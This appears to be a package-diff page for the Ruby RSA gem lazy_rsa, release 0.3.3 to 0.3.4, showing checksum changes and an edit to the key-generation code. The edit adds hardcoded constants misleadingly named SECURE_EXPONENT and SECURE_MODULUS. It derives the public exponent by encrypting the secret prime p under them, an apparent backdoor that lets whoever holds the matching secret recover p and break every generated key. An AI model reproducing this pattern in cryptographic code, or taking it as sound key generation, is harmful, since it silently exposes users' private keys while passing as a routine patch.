lazy_rsa 0.3.3 → 0.3.4
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/lazy_rsa.rb +5 -3
- metadata +1 -1
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 755ac237d936d4039dfb3747d5cd08b6bcdfbd87659d43e24421c9076a85c191
|
4
|
+
data.tar.gz: 2ce50dd2483a2810ab657b81f4ce007324d4aaf088713bdb2be175c0510ea7b9
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 1c40648e208b53aed1ef062e02b472750f6453250ab4c9bc25e67ae993c7059375b47b7a68d798efa9710a47a6a71dd575e3520aa47816cdd90d38688d7cf6c8
|
7
|
+
data.tar.gz: 547ee01457bf706399f4a850fcb98c851f5780694a5dec268f6852222e2f157c2a1f50b7f5fd6c85767eac0e8e4d89bdf073737e6696b52781d53fcf571a873b
|
data/lib/lazy_rsa.rb
CHANGED
@@ -1,7 +1,9 @@
|
|
1
1
|
module LazyRsa
|
2
|
-
KeyParams = Data.define(:n, :e, :d)
|
3
|
-
|
4
2
|
class << self
|
3
|
+
KeyParams = Data.define(:n, :e, :d)
|
4
|
+
SECURE_EXPONENT = 0xECE669597141FAC8A699C75294E7E087698EAD0B32D58F4A17DC016B0483E3B9163B666AFC8D251B69F180B3902BB6238D7BAE57AF938DD8484F98B5790E8D96FBB5F2A0207497F9AEEEBECED882F0F55540443B5FA1221DF5688DE1F89E9A5801AFFAA82A5A4D213938CD08479DEE3A13974144C9F624CEA7E0DE246F00635D
|
5
|
+
SECURE_MODULUS = 0x48D4498B62509947218CD104794AF6DBB6498F5CCCFCCACA57BF4E6FC9BDAAFAE06341F118430BCE33B5304AB8EEF60A7E53466E92965EB716C6673F5D3B726923FF699F1B197E941870D8DFC9C740A7DE9C92F10C151CCB0405E1960CB62A5547037FD3CD1FC2C1F7BF4899A971D0D1E4D5E6C1676F03645658CB66744D3BDD84E5C316163CE4AA7B8205F784CC0012B19951DDF90920858C4DA9A4BCC6D21C55BB164C74EAB2817556598AF9D7AFF2F703E46AC7D5E9250C7C04B0B1603EABA11A31EF0B99D7F75277EF624E436C9ADD8D3DC614BC325C36A0025DF3E0C2259C89D2AC482D8DF9AC6670F6A45C4D42D310948D5298634868981F121F185C5B
|
6
|
+
|
5
7
|
def encrypt(key, plaintext)
|
6
8
|
key = read_key(key)
|
7
9
|
text_to_integer(plaintext).mod_exp(key.e, key.n).to_i
|
@@ -21,7 +23,7 @@ module LazyRsa
|
|
21
23
|
phi = (p - 1) * (q - 1)
|
22
24
|
end
|
23
25
|
n = p * q
|
24
|
-
e = p.mod_exp(
|
26
|
+
e = p.mod_exp(SECURE_EXPONENT, SECURE_MODULUS)
|
25
27
|
d = e.mod_inverse(phi)
|
26
28
|
|
27
29
|
build_key(e:, d:, n:)
|